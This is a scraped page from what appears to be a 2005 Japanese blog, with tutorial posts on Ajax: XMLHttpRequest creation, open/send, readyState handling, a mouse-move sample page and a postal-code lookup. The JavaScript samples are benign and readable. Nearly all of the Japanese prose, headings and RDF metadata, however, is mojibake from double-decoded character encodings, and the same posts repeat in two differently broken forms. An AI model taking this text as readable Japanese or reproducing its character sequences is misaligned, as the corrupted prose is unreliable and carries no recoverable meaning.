ƒuƒ‰ƒEƒU‚Í‚à‚¿‚ë‚ñAjax‚É‚æ‚é”ñ“¯Šú’ÊMAƒT[ƒo‚ÍJava‚Å쬂µ‚½Bʼn onMouseMoveƒCƒxƒ“ƒg‚ÅAjax‚ð‹N“®‚·‚邿‚¤‚É‚µ‚½‚ªA‘½d’ÊM‚ª”¶‚µ‚ăT[ƒo‚ª‰ß•‰‰×‚ÉBŽÀ—pãMouseMoveƒCƒxƒ“ƒg‚Å’ÊM‚³‚¹‚邱‚Æ‚à‚È‚¢‚Ì‚ÅAOnChangeƒCƒxƒ“ƒg‚É•ÏX‚µA‘½d’ÊM‚ð‰ñ”ðB
ƒT[ƒo‘¤‚ÍJSP‚ÆServlet‚Ŏ󂯎æ‚Á‚Ă݂½B
Úׂ͌ã“úB‚Æ‚è‚ ‚¦‚¸ƒTƒ“ƒvƒ‹‚Í‚±‚¿‚ç@<a href="http://java.isl.ne.jp/naka/ajaxSample.html" target="_blank">AjaxŠÈ’PŠÈ‘f‚ÈŽÀ‘HƒTƒ“ƒvƒ‹</a>
<p class="entry-footer">
<span class="post-footers">投稿者: expss 日時: 21:36</span> <span class="separator">|</span> <a class="permalink" href="http://expss.main.jp/expss2/2005/08/webvajax_tv.html">パーマリンク</a>
</p>
</div>
</div>
</div>
<!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
rdf:about="http://expss.main.jp/expss2/2005/08/index.html#000186"
trackback:ping="http://expss.main.jp/cgi/mt/mt-tb.cgi/181"
dc:title="Webã®æ–°ã—ã„風 Ajax サンプル作æˆ"
dc:identifier="http://expss.main.jp/expss2/2005/08/index.html#000186"
dc:subject="システム開発"
dc:description="Webã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã«æ–°ã—ã„é“ãŒæ‹“ã‹ã‚ŒãŸã‹ï¼Ÿ Part4:実践編 Ajaxを使..."
dc:creator="expss"
dc:date="2005-08-15T21:36:02+09:00" />
</rdf:RDF>
-->
<a id="a000186"></a>
<div class="entry" id="entry-186">
<h3 class="entry-header">Webã®æ–°ã—ã„風 Ajax サンプル作æˆ</h3>
<div class="entry-content">
<div class="entry-body">
<span style=font-size:medium>Webã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã«æ–°ã—ã„é“ãŒæ‹“ã‹ã‚ŒãŸã‹ï¼Ÿ</span>
Part4:実践編
Ajaxを使ã£ã¦å®Ÿç”¨çš„ãªã‚µãƒ³ãƒ—ルを作æˆã—ãŸã€‚
郵便番å·è¾žæ›¸ã‚’サーãƒã«ãƒ€ã‚¦ãƒ³ãƒãƒ¼ãƒ‰ã—ã€PostgreSQLã«è¿½åŠ ã€‚ãƒ–ãƒ©ã‚¦ã‚¶ã‹ã‚‰ã®éƒµä¾¿ç•ªå·ã¾ãŸã¯ä½æ‰€ã®å…¥åŠ›å€¤ã§æ¤œç´¢ã—ã€çµæžœã‚’表示ã™ã‚‹ã€€ã¨ã„ã†ã‚‚ã®ã€‚
ブラウザã¯ã‚‚ã¡ã‚ã‚“Ajaxã«ã‚ˆã‚‹éžåŒæœŸé€šä¿¡ã€ã‚µãƒ¼ãƒã¯Javaã§ä½œæˆã—ãŸã€‚æœ€åˆ onMouseMoveイベントã§Ajaxã‚’èµ·å‹•ã™ã‚‹ã‚ˆã†ã«ã—ãŸãŒã€å¤šé‡é€šä¿¡ãŒç™ºç”Ÿã—ã¦ã‚µãƒ¼ãƒãŒéŽè² è·ã«ã€‚実用上MouseMoveイベントã§é€šä¿¡ã•ã›ã‚‹ã“ã¨ã‚‚ãªã„ã®ã§ã€OnChangeイベントã«å¤‰æ›´ã—ã€å¤šé‡é€šä¿¡ã‚’回é¿ã€‚
サーãƒå´ã¯JSPã¨Servletã§å—ã‘å–ã£ã¦ã¿ãŸã€‚
詳細ã¯å¾Œæ—¥ã€‚ã¨ã‚Šã‚ãˆãšã‚µãƒ³ãƒ—ルã¯ã“ã¡ã‚‰ã€€<a href="http://java.isl.ne.jp/naka/ajaxSample.html" target="_blank">Ajaxç°¡å˜ç°¡ç´ ãªå®Ÿè·µã‚µãƒ³ãƒ—ル</a>
<p class="entry-footer">
<span class="post-footers">投稿者: expss 日時: 21:36</span> <span class="separator">|</span> <a class="permalink" href="http://expss.main.jp/expss2/2005/08/webajax.html">パーマリンク</a>
</p>
</div>
</div>
</div>
<!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
rdf:about="http://expss.main.jp/expss2/2005/08/index.html#000070"
trackback:ping="http://expss.main.jp/cgi/mt/mt-tb.cgi/66"
dc:title="Web‚ÌV‚µ‚¢•—@Ajax‚ÌŽd‘g‚Ý"
dc:identifier="http://expss.main.jp/expss2/2005/08/index.html#000070"
dc:subject="ƒVƒXƒeƒ€ŠJ”"
dc:description="WebÃöÊ〓[ÖÇÓ〓Ж〓¢〓ª〓©ª〓©H Part3:Τ〓〓〓 Ñ〓〓〓¨..."
dc:creator="expss"
dc:date="2005-08-12T12:09:35+09:00" />
</rdf:RDF>
-->
<h2 class="date-header">2005年08月12日</h2>
<a id="a000070"></a>
<div class="entry" id="entry-70">
<h3 class="entry-header">Web‚ÌV‚µ‚¢•—@Ajax‚ÌŽd‘g‚Ý</h3>
<div class="entry-content">
<div class="entry-body">
<span style=font-size:medium>WebƒAƒvƒŠƒP[ƒVƒ‡ƒ“‚ÉV‚µ‚¢“¹‚ª‘ñ‚©‚ꂽ‚©H</span>
Part3:Žd‘g‚Ý•Ò
‘O‰ñ‚Í‚Æ‚è‚ ‚¦‚¸Ajax‚ðŽg‚Á‚Ă݂邱‚Æ‚ð—D悵‚½‚ªA¡‰ñ‚Í‚µAjax‚ÌŽd‘g‚݂ɂ‚¢‚Ä’²‚ׂ邱‚Ƃɂµ‚½B
<a href="http://allabout.co.jp/career/javascript/closeup/CU20050515A/index.htm" target="_blank">ALL ABOUT uAjax‚Í‚¶‚߂̈ê•à@XMLHttpRequestv</a>@‚ðŽQl‚É‚³‚¹‚Ä‚¢‚½‚¾‚«A‘O‰ñ‚̃\[ƒX‚ÉŽè‚ð“ü‚ê‚ÄA‰ü—Ç‚ð}‚éB
¡Ajax‚ÍJavaScritpt‚ðŽg‚Á‚ÄAXMLƒIƒuƒWƒFƒNƒg‚Å‚ ‚éXMLHttpRequestƒIƒuƒWƒFƒNƒg‚ð‘€ì‚µAƒuƒ‰ƒEƒU‚ƃT[ƒo‚Ì”ñ“¯Šú’ÊM‚ðs‚¤Žd‘g‚݂ł ‚éB
]‚Á‚ÄAXMLHttpRequest‚ÌŽd‘g‚Ý‚ð—‰ð‚·‚é•K—v‚ª‚ ‚éB
¡XMLHttpRequest‚̈—‚Ì—¬‚ê
—X•Ö”Ô†‚ðƒuƒ‰ƒEƒU‚©‚çƒT[ƒo‚É‘—M‚µAƒT[ƒo‚ÅŠY“–‚·‚éZŠ‚ðŒŸõ‚µA•ÔM‚³‚ꂽZŠ‚ðƒuƒ‰ƒEƒU‚Å•\ަ‚·‚é@‚Æ‚¢‚¤—¬‚ê‚ðXMLHttpRequest‚ɉˆ‚Á‚ă`ƒƒ[ƒg‰»‚·‚é
‚PDXMLHttpRequest ƒIƒuƒWƒFƒNƒg¶¬
@@ «
‚QDopen ƒƒ\ƒbƒh
@@ «
‚RDsend ƒƒ\ƒbƒh@(ƒf[ƒ^‘—M)
@@ «
iƒT[ƒo[‘¤‚ªˆ—‚ðs‚¤j
@@ «
‚SDŽóMó‘ÔŠÄŽ‹•I—¹ŒŸ’m
@@ «
‚TDŽóMƒf[ƒ^‚̈—
‚S‚ÌŽóMó‘ÔŠÄŽ‹‚ÍAIE‚Å‚Í@onreadystatechange ƒCƒxƒ“ƒg‚݂̂ªŽg‚¦‚éBIEˆÈŠO‚Å‚Í@onloadƒCƒxƒ“ƒg‚ªŽg‚¦A‚±‚̃Cƒxƒ“ƒg‚ªŽg‚¦‚邯AŽóMI—¹Žž‚ɃR[ƒ‹ƒoƒbƒN‚³‚ê‚é‚̂ň—‚ªŠÈ’P‚É‚È‚é‚æ‚¤‚¾‚ªIE‚͂͂¸‚¹‚È‚¢BŽc”OB
‚Å‚ÍAã‹L‚̃`ƒƒ[ƒg‚É]‚Á‚ÄAˆ—‚ð‘‚¢‚Ä‚¢‚B
i‘O‰ñ쬂µ‚½ŠÖ”‚ÆHTML‚ðŒ³‚ÉAC³A•ÏX‚ð‰Á‚¦‚éBj
¡‚PDXMLHttpRequest ƒIƒuƒWƒFƒNƒg¶¬
IE‚Æ‚»‚êˆÈŠO‚̃uƒ‰ƒEƒU‚Ì•ª‚¯‚ÄAXMLHttpRequestƒIƒuƒWƒFƒNƒg‚𶬂µ‚ĕԂ·B¶¬‚ÉŽ¸”s‚·‚ê‚Înull‚ð•Ô‚·B
XMLHttpRequestƒIƒuƒWƒFƒNƒg쬊֔
function createXMLHttpRequest(){
// fro IE
if (window.ActiveXObject) {
try {
return new ActiveXObject("Microsoft.XMLHTTP");
} catch (ex) {
alert("createXMLHttpRequest : IE Create Error");
}
// for Not IE
} else if (window.XMLHttpRequest) {
try {
return new XMLHttpRequest();
} catch (ex) {
alert("createXMLHttpRequest : Not IE Create Error");
}
} else {
alert("createXMLHttpRequest : No Object");
return null;
}
}
IE‚ÌXMLHttpRequestƒIƒuƒWƒFƒNƒg‚Ì‚àƒo[ƒWƒ‡ƒ“‚̈Ⴂ‚ª‚ ‚邿‚¤‚¾‚ªAnew ActiveXObject("Microsoft.XMLHTTP")@‚Å쬂ł«‚邯‚Ì‚±‚ƂȂ̂ÅA“ˆê‚µ‚Ä‚¨‚B
¡‚QDopen ƒƒ\ƒbƒh
‘—M•û–@iMethod POST/GETjA‘—MæƒT[ƒo‚ÌURLA“¯Šúƒ‚[ƒh‚ÌÝ’è‚ðs‚¤B
ƒT[ƒoURL‚ÍHTML‚Ì‚ ‚éƒT[ƒo‚݂̂Ƃ¢‚¤§ŒÀ‚ª‚ ‚éB
“¯Šúƒ‚[ƒh ture:”ñ“¯Šú@false:“¯Šú
“¯Šú‚É‚·‚邯’ÊM‚ªŠ®—¹‚·‚é‚܂ő€ì‚͂ł«‚È‚‚È‚éBAjax‚ÌŒø‰Ê‚ðŽÀŠ´‚·‚邽‚ß”ñ“¯Šú‚É‚·‚éB
open(Method, ‘—MæURL, “¯Šúƒ‚[ƒh)
XMLHttpRequest‚ðƒI[ƒvƒ“‚·‚éƒXƒNƒŠƒvƒg
XMLHttpRequest.open("GET", serverURL, true);
¡‚RDsend ƒƒ\ƒbƒh@(ƒf[ƒ^‘—M)
ƒuƒ‰ƒEƒU‚©‚çƒT[ƒo‚ÉƒŠƒNƒGƒXƒg‚ð‘—M‚·‚éB
—X•Ö”Ô†‚ð‘—M‚µ‚ÄAZŠ‚ð“¾‚½‚¢‚Æ‚«‚ÍA—X•Ö”Ô†‚ðˆø”‚Æ‚µ‚Ä“n‚·‚ªA‚±‚±‚ł͂܂¾‰½‚àݒ肵‚È‚¢BNULL‚ðݒ肵‚Ä‚¢‚é—á‚à‚ ‚邪ˆø—pƒTƒCƒg‚É‚æ‚邯“Á’è‚̃uƒ‰ƒEƒU–â‘肪‹N‚±‚邿‚¤‚Ȃ̂ÅAff‚Æ‚·‚éB
@@XMLHttpRequest.send('');
¡iƒT[ƒo[‘¤‚ªˆ—‚ðs‚¤j
ƒuƒ‰ƒEƒU‚©‚ç‚ÌƒŠƒNƒGƒXƒg‚ðŽó‚¯Žæ‚Á‚½ƒT[ƒo‚͈—‚ðŠJŽn‚·‚éB
¡‚SDŽóMó‘ÔŠÄŽ‹
ƒuƒ‰ƒEƒU‚̓T[ƒo‚̈—‚ªI‚í‚èA•ÔM‚ª•Ô‚Á‚Ä‚‚é‚Ì‚ð‘Ò‚ÂB
‹ï‘Ì“I‚É‚ÍXMLHttpRequestƒIƒuƒWƒFƒNƒg‚ÌŽóMó‘ԕω»ƒCƒxƒ“ƒg‚ÉAŽóMó‘ÔŠÄŽ‹ŠÖ”‚ðÝ’è‚·‚éB
‘Oq‚Ì’Ê‚èAIE‚Å‚Í@onreadystatechange ƒCƒxƒ“ƒg‚µ‚©Žg‚¦‚È‚¢B
XMLHttpRequest‚ÌonreadystatechangeƒCƒxƒ“ƒg‚Ö‚ÌŠÖ”‚ð‹Lq‚µAŽóMŒ‹‰Ê”½‰fŠÖ”‚ðŒÄ‚Ô
XMLHttpRequest.onreadystatechange = function() {
if ( XMLHttpRequest.readyState == 4 ) {
if ( XMLHttpRequest.status == 200) {
Œ‹‰Ê”½‰fŠÖ”;
}
}
}
XMLHttpRequest.readyState‚ª@4:“ǂݞ‚ÝŠ®—¹
‚©‚Â
XMLHttpRequest.status‚ª@200:ƒtƒ@ƒCƒ‹‚Ì³íŽæ“¾ ‚ȂƂ«AƒIƒuƒWƒFƒNƒg‚ðˆø”‚É‚µ‚ÄŒ‹‰Ê”½‰fŠÖ”‚ðŒÄ‚Ô
¡‚TDŽóMƒf[ƒ^‚̈—
‰æ–ʉº‚Ì DisplayArea ‚ɃeƒLƒXƒg‚ð’ljÁ
XMLHttpRequestŽóMŒ‹‰Ê”½‰fŠÖ”
function resultFunction(objAjax) {
displayArea.innerHTML = displayArea.innerHTML + objAjax.responseText;
}
¡Š®¬‚µ‚½ƒTƒ“ƒvƒ‹HTML
‘O‰ñ‚̓{ƒ^ƒ“‚ðƒNƒŠƒbƒN‚µ‚½Œ‹‰Ê‚Æ‚µ‚ăT[ƒo‚̃tƒ@ƒCƒ‹‚ðŽæ“¾‚µ‚Ä‚¢‚½‚Ì‚ÅAƒCƒ}ƒCƒ`‹Á‚«‚É‚©‚¯‚Ä‚¢‚½B¡‰ñ‚ÍŽQƃTƒCƒg‚ÅŒã‚Åo‚Ä‚‚邿‚¤‚ÉAƒeƒLƒXƒg‚Ìã‚Ƀ}ƒEƒX‚ðæ‚¹‚邯AƒT[ƒo‚̃tƒ@ƒCƒ‹‚ðŽæ“¾‚µ‚ÄA‰æ–ʂɒljÁ‚·‚邿‚¤‚É‚µ‚½B
ŽQl‚É‚µ‚½ƒTƒCƒg‚Å‚ÍAƒ`ƒƒ[ƒg‚Ì‚Rsend ‚Í@‚SŽóMó‘ÔŠÄŽ‹‚ÌŒã‚É’u‚©‚È‚¢‚ÆIE‚Å“®ì‚µ‚È‚¢@‚Æ‚ ‚邪A“–•û‚ÅŠm”F‚µ‚½‚Æ‚±‚ëA“®ì‚µ‚½‚̂Ń`ƒƒ[ƒg‚̇‚É‚µ‚Ä‚ ‚éB
<a href="http://www.isl.ne.jp/privacy/ajaxSample2.html" target="_blank">ƒTƒ“ƒvƒ‹HTML‚ðŽÀs‚·‚é</a>
<pre>
<html>
<head>
<title>Ajax Simple Sample</title>
<script language="javascript">
<!--
// XMLHttpRequestƒƒCƒ“ŠÖ”
// data : ƒT[ƒo‚É‘—M‚·‚éƒf[ƒ^
// method : ‘—Mƒƒ\ƒbƒh‚ðŽ¦‚·•¶Žš—ñ@POST / GET
// fileName : ƒT[ƒo‚©‚çŽæ“¾‚·‚éƒtƒ@ƒCƒ‹‚Ì–¼‘O
// async : ”ñ“¯Šúƒ‚[ƒh ”ñ“¯Šú true “¯Šú false
// result : ŽóM‚µ‚½Œ‹‰Ê‚ɑ΂·‚鈗‚ðs‚¤ŠÖ”
function mainXMLHttpRequest(data, method, fileName, async, resultFunction) {
// XMLHttpRequestì¬ ƒ[ƒJƒ‹•Ï”
var objAjax = createXMLHttpRequest();
// XMLHttpRequestƒI[ƒvƒ“
objAjax.open(method, fileName, async);
// XMLHttpRequest‘—M IE‚ł͎óMó‘ÔŠÄŽ‹‚ÌŒã‚É’u‚‚±‚Æ
@@objAjax.send(data);
//XMLHttpRequestŽóMó‘ÔŠÄŽ‹
objAjax.onreadystatechange = function() {
if ( objAjax.readyState == 4 ) {
if ( objAjax.status == 200) {
// ŽóMŒ‹‰Êˆ—ŠÖ”
resultFunction(objAjax);
}
}
}
}
// XMLHttpRequestƒIƒuƒWƒFƒNƒg쬊֔
function createXMLHttpRequest(){
// fro IE
if (window.ActiveXObject) {
try {
return new ActiveXObject("Microsoft.XMLHTTP");
} catch (ex) {
alert("createXMLHttpRequest : IE Create Error");
}
// for Not IE
} else if (window.XMLHttpRequest) {
try {
return new XMLHttpRequest();
} catch (ex) {
alert("createXMLHttpRequest : Not IE Create Error");
}
} else {
alert("createXMLHttpRequest : No Object");
return null;
}
}
// XMLHttpRequestŽóMŒ‹‰Ê”½‰fŠÖ”
function dispData(obj) {
displayArea.innerHTML = obj.responseText;
}
// -->
</script>
</head>
<body>
<form>
<input type="text" value="File A"
onMousemove="mainXMLHttpRequest('','GET', 'testA.txt', true
,dispData); return false;">
<input type="text" value="File B"
onMousemove="mainXMLHttpRequest('','GET', 'testB.txt', true
, dispData); return false;">
<input type="text" value="File C"
onMousemove="mainXMLHttpRequest('','GET', 'testC.txt', true
, dispData); return false;">
<input type="text" value="File Clear"
onMousemove="mainXMLHttpRequest('','GET', 'testClear.txt', true
, dispData); return false;">
</form>
<hr>
<div id="displayArea"><p>
ƒeƒLƒXƒgƒ{ƒbƒNƒX‚Ìã‚Ƀ}ƒEƒX‚ðæ‚¹‚邯A
‚±‚±‚ɃT[ƒo‚̃eƒLƒXƒg‚ª•\ަ‚³‚ê‚Ü‚·B
</p></div>
</body>
</html>
</pre>
<p class="entry-footer">
<span class="post-footers">投稿者: expss 日時: 12:09</span> <span class="separator">|</span> <a class="permalink" href="http://expss.main.jp/expss2/2005/08/webvajaxdg.html">パーマリンク</a>
</p>
</div>
</div>
</div>
<!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
rdf:about="http://expss.main.jp/expss2/2005/08/index.html#000185"
trackback:ping="http://expss.main.jp/cgi/mt/mt-tb.cgi/180"
dc:title="Webã®æ–°ã—ã„風 Ajaxã®ä»•組ã¿"
dc:identifier="http://expss.main.jp/expss2/2005/08/index.html#000185"
dc:subject="システム開発"
dc:description="Webã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã«æ–°ã—ã„é“ãŒæ‹“ã‹ã‚ŒãŸã‹ï¼Ÿ Part3:仕組ã¿ç·¨ å‰å›žã¯ã¨ã‚Š..."
dc:creator="expss"
dc:date="2005-08-12T12:09:35+09:00" />
</rdf:RDF>
-->
<a id="a000185"></a>
<div class="entry" id="entry-185">
<h3 class="entry-header">Webã®æ–°ã—ã„風 Ajaxã®ä»•組ã¿</h3>
<div class="entry-content">
<div class="entry-body">
<span style=font-size:medium>Webã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã«æ–°ã—ã„é“ãŒæ‹“ã‹ã‚ŒãŸã‹ï¼Ÿ</span>
Part3:仕組ã¿ç·¨
å‰å›žã¯ã¨ã‚Šã‚ãˆãšAjaxを使ã£ã¦ã¿ã‚‹ã“ã¨ã‚’優先ã—ãŸãŒã€ä»Šå›žã¯å°‘ã—Ajaxã®ä»•組ã¿ã«ã¤ã„ã¦èª¿ã¹ã‚‹ã“ã¨ã«ã—ãŸã€‚
<a href="http://allabout.co.jp/career/javascript/closeup/CU20050515A/index.htm" target="_blank">ALL ABOUT 「Ajaxã¯ã˜ã‚ã®ä¸€æ©ã€€XMLHttpRequestã€</a> をå‚考ã«ã•ã›ã¦ã„ãŸã ãã€å‰å›žã®ã‚½ãƒ¼ã‚¹ã«æ‰‹ã‚’入れã¦ã€æ”¹è‰¯ã‚’図る。
â– Ajaxã¯JavaScritptを使ã£ã¦ã€XMLオブジェクトã§ã‚ã‚‹XMLHttpRequestオブジェクトをæ“作ã—ã€ãƒ–ラウザã¨ã‚µãƒ¼ãƒã®éžåŒæœŸé€šä¿¡ã‚’行ã†ä»•組ã¿ã§ã‚る。
従ã£ã¦ã€XMLHttpRequestã®ä»•組ã¿ã‚’ç†è§£ã™ã‚‹å¿…è¦ãŒã‚る。
â– XMLHttpRequestã®å‡¦ç†ã®æµã‚Œ
郵便番å·ã‚’ブラウザã‹ã‚‰ã‚µãƒ¼ãƒã«é€ä¿¡ã—ã€ã‚µãƒ¼ãƒã§è©²å½“ã™ã‚‹ä½æ‰€ã‚’検索ã—ã€è¿”ä¿¡ã•れãŸä½æ‰€ã‚’ブラウザã§è¡¨ç¤ºã™ã‚‹ã€€ã¨ã„ã†æµã‚Œã‚’XMLHttpRequestã«æ²¿ã£ã¦ãƒãƒ£ãƒ¼ãƒˆåŒ–ã™ã‚‹
1.XMLHttpRequest オブジェクト生æˆ
   ↓
2.open メソッド
   ↓
3.send メソッド (データé€ä¿¡)
   ↓
(サーãƒãƒ¼å´ãŒå‡¦ç†ã‚’行ã†ï¼‰
   ↓
4.å—信状態監視&終了検知
   ↓
5.å—信データã®å‡¦ç†
ï¼”ã®å—信状態監視ã¯ã€IEã§ã¯ã€€onreadystatechange イベントã®ã¿ãŒä½¿ãˆã‚‹ã€‚IE以外ã§ã¯ã€€onloadイベントãŒä½¿ãˆã€ã“ã®ã‚¤ãƒ™ãƒ³ãƒˆãŒä½¿ãˆã‚‹ã¨ã€å—信終了時ã«ã‚³ãƒ¼ãƒ«ãƒãƒƒã‚¯ã•れるã®ã§å‡¦ç†ãŒç°¡å˜ã«ãªã‚‹ã‚ˆã†ã ãŒIEã¯ã¯ãšã›ãªã„。残念。
ã§ã¯ã€ä¸Šè¨˜ã®ãƒãƒ£ãƒ¼ãƒˆã«å¾“ã£ã¦ã€å‡¦ç†ã‚’書ã„ã¦ã„ã。
(å‰å›žä½œæˆã—ãŸé–¢æ•°ã¨HTMLã‚’å…ƒã«ã€ä¿®æ£ã€å¤‰æ›´ã‚’åŠ ãˆã‚‹ã€‚)
■1.XMLHttpRequest オブジェクト生æˆ
IEã¨ãれ以外ã®ãƒ–ラウザã®åˆ†ã‘ã¦ã€XMLHttpRequestオブジェクトを生æˆã—ã¦è¿”ã™ã€‚生æˆã«å¤±æ•—ã™ã‚Œã°nullã‚’è¿”ã™ã€‚
XMLHttpRequestオブジェクト作æˆé–¢æ•°
function createXMLHttpRequest(){
// fro IE
if (window.ActiveXObject) {
try {
return new ActiveXObject("Microsoft.XMLHTTP");
} catch (ex) {
alert("createXMLHttpRequest : IE Create Error");
}
// for Not IE
} else if (window.XMLHttpRequest) {
try {
return new XMLHttpRequest();
} catch (ex) {
alert("createXMLHttpRequest : Not IE Create Error");
}
} else {
alert("createXMLHttpRequest : No Object");
return null;
}
}
IEã®XMLHttpRequestオブジェクトã®ã‚‚ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã®é•ã„ãŒã‚るよã†ã ãŒã€new ActiveXObject("Microsoft.XMLHTTP") ã§ä½œæˆã§ãã‚‹ã¨ã®ã“ã¨ãªã®ã§ã€çµ±ä¸€ã—ã¦ãŠã。
■2.open メソッド
é€ä¿¡æ–¹æ³•(Method POST/GET)ã€é€ä¿¡å…ˆã‚µãƒ¼ãƒã®URLã€åŒæœŸãƒ¢ãƒ¼ãƒ‰ã®è¨å®šã‚’行ã†ã€‚
サーãƒURLã¯HTMLã®ã‚るサーãƒã®ã¿ã¨ã„ã†åˆ¶é™ãŒã‚る。
åŒæœŸãƒ¢ãƒ¼ãƒ‰ ture:éžåŒæœŸã€€false:åŒæœŸ
åŒæœŸã«ã™ã‚‹ã¨é€šä¿¡ãŒå®Œäº†ã™ã‚‹ã¾ã§æ“作ã¯ã§ããªããªã‚‹ã€‚Ajaxã®åŠ¹æžœã‚’å®Ÿæ„Ÿã™ã‚‹ãŸã‚éžåŒæœŸã«ã™ã‚‹ã€‚
open(Method, é€ä¿¡å…ˆURL, åŒæœŸãƒ¢ãƒ¼ãƒ‰)
XMLHttpRequestをオープンã™ã‚‹ã‚¹ã‚¯ãƒªãƒ—ト
XMLHttpRequest.open("GET", serverURL, true);
■3.send メソッド (データé€ä¿¡)
ブラウザã‹ã‚‰ã‚µãƒ¼ãƒã«ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’é€ä¿¡ã™ã‚‹ã€‚
郵便番å·ã‚’é€ä¿¡ã—ã¦ã€ä½æ‰€ã‚’å¾—ãŸã„ã¨ãã¯ã€éƒµä¾¿ç•ªå·ã‚’引数ã¨ã—ã¦æ¸¡ã™ãŒã€ã“ã“ã§ã¯ã¾ã 何もè¨å®šã—ãªã„。NULLã‚’è¨å®šã—ã¦ã„る例もã‚ã‚‹ãŒå¼•用サイトã«ã‚ˆã‚‹ã¨ç‰¹å®šã®ãƒ–ラウザå•題ãŒèµ·ã“るよã†ãªã®ã§ã€â€™â€™ã¨ã™ã‚‹ã€‚
  XMLHttpRequest.send('');
■(サーãƒãƒ¼å´ãŒå‡¦ç†ã‚’行ã†ï¼‰
ブラウザã‹ã‚‰ã®ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’å—ã‘å–ã£ãŸã‚µãƒ¼ãƒã¯å‡¦ç†ã‚’é–‹å§‹ã™ã‚‹ã€‚
■4.å—信状態監視
ブラウザã¯ã‚µãƒ¼ãƒã®å‡¦ç†ãŒçµ‚ã‚りã€è¿”ä¿¡ãŒè¿”ã£ã¦ãã‚‹ã®ã‚’å¾…ã¤ã€‚
具体的ã«ã¯XMLHttpRequestオブジェクトã®å—信状態変化イベントã«ã€å—信状態監視関数をè¨å®šã™ã‚‹ã€‚
å‰è¿°ã®é€šã‚Šã€IEã§ã¯ã€€onreadystatechange イベントã—ã‹ä½¿ãˆãªã„。
XMLHttpRequestã®onreadystatechangeイベントã¸ã®é–¢æ•°ã‚’記述ã—ã€å—ä¿¡çµæžœåæ˜ é–¢æ•°ã‚’å‘¼ã¶
XMLHttpRequest.onreadystatechange = function() {
if ( XMLHttpRequest.readyState == 4 ) {
if ( XMLHttpRequest.status == 200) {
çµæžœåæ˜ é–¢æ•°;
}
}
}
XMLHttpRequest.readyStateãŒã€€4:èªã¿è¾¼ã¿å®Œäº†
ã‹ã¤
XMLHttpRequest.statusãŒã€€200:ãƒ•ã‚¡ã‚¤ãƒ«ã®æ£å¸¸å–å¾— ãªã¨ãã€ã‚ªãƒ–ジェクトを引数ã«ã—ã¦çµæžœåæ˜ é–¢æ•°ã‚’å‘¼ã¶
■5.å—信データã®å‡¦ç†
ç”»é¢ä¸‹ã® DisplayArea ã«ãƒ†ã‚ストを追åŠ
XMLHttpRequestå—ä¿¡çµæžœåæ˜ é–¢æ•°
function resultFunction(objAjax) {
displayArea.innerHTML = displayArea.innerHTML + objAjax.responseText;
}
■完æˆã—ãŸã‚µãƒ³ãƒ—ルHTML
å‰å›žã¯ãƒœã‚¿ãƒ³ã‚’クリックã—ãŸçµæžœã¨ã—ã¦ã‚µãƒ¼ãƒã®ãƒ•ァイルをå–å¾—ã—ã¦ã„ãŸã®ã§ã€ã‚¤ãƒžã‚¤ãƒé©šãã«ã‹ã‘ã¦ã„ãŸã€‚今回ã¯å‚照サイトã§å¾Œã§å‡ºã¦ãるよã†ã«ã€ãƒ†ã‚ストã®ä¸Šã«ãƒžã‚¦ã‚¹ã‚’ä¹—ã›ã‚‹ã¨ã€ã‚µãƒ¼ãƒã®ãƒ•ァイルをå–å¾—ã—ã¦ã€ç”»é¢ã«è¿½åŠ ã™ã‚‹ã‚ˆã†ã«ã—ãŸã€‚
å‚考ã«ã—ãŸã‚µã‚¤ãƒˆã§ã¯ã€ãƒãƒ£ãƒ¼ãƒˆã®ï¼“send ã¯ã€€ï¼”å—信状態監視ã®å¾Œã«ç½®ã‹ãªã„ã¨IEã§å‹•作ã—ãªã„ ã¨ã‚ã‚‹ãŒã€å½“æ–¹ã§ç¢ºèªã—ãŸã¨ã“ã‚ã€å‹•作ã—ãŸã®ã§ãƒãƒ£ãƒ¼ãƒˆã®é †ã«ã—ã¦ã‚る。
<a href="http://www.isl.ne.jp/privacy/ajaxSample2.html" target="_blank">サンプルHTMLを実行ã™ã‚‹</a>
<pre>
<html>
<head>
<title>Ajax Simple Sample</title>
<script language="javascript">
<!--
// XMLHttpRequestメイン関数
// data : サーãƒã«é€ä¿¡ã™ã‚‹ãƒ‡ãƒ¼ã‚¿
// method : é€ä¿¡ãƒ¡ã‚½ãƒƒãƒ‰ã‚’ç¤ºã™æ–‡å—列 POST / GET
// fileName : サーãƒã‹ã‚‰å–å¾—ã™ã‚‹ãƒ•ァイルã®åå‰
// async : éžåŒæœŸãƒ¢ãƒ¼ãƒ‰ éžåŒæœŸ true åŒæœŸ false
// result : å—ä¿¡ã—ãŸçµæžœã«å¯¾ã™ã‚‹å‡¦ç†ã‚’行ã†é–¢æ•°
function mainXMLHttpRequest(data, method, fileName, async, resultFunction) {
// XMLHttpRequestä½œæˆ ãƒãƒ¼ã‚«ãƒ«å¤‰æ•°
var objAjax = createXMLHttpRequest();
// XMLHttpRequestオープン
objAjax.open(method, fileName, async);
// XMLHttpRequesté€ä¿¡ IEã§ã¯å—信状態監視ã®å¾Œã«ç½®ãã“ã¨
  objAjax.send(data);
//XMLHttpRequestå—信状態監視
objAjax.onreadystatechange = function() {
if ( objAjax.readyState == 4 ) {
if ( objAjax.status == 200) {
// å—ä¿¡çµæžœå‡¦ç†é–¢æ•°
resultFunction(objAjax);
}
}
}
}
// XMLHttpRequestオブジェクト作æˆé–¢æ•°
function createXMLHttpRequest(){
// fro IE
if (window.ActiveXObject) {
try {
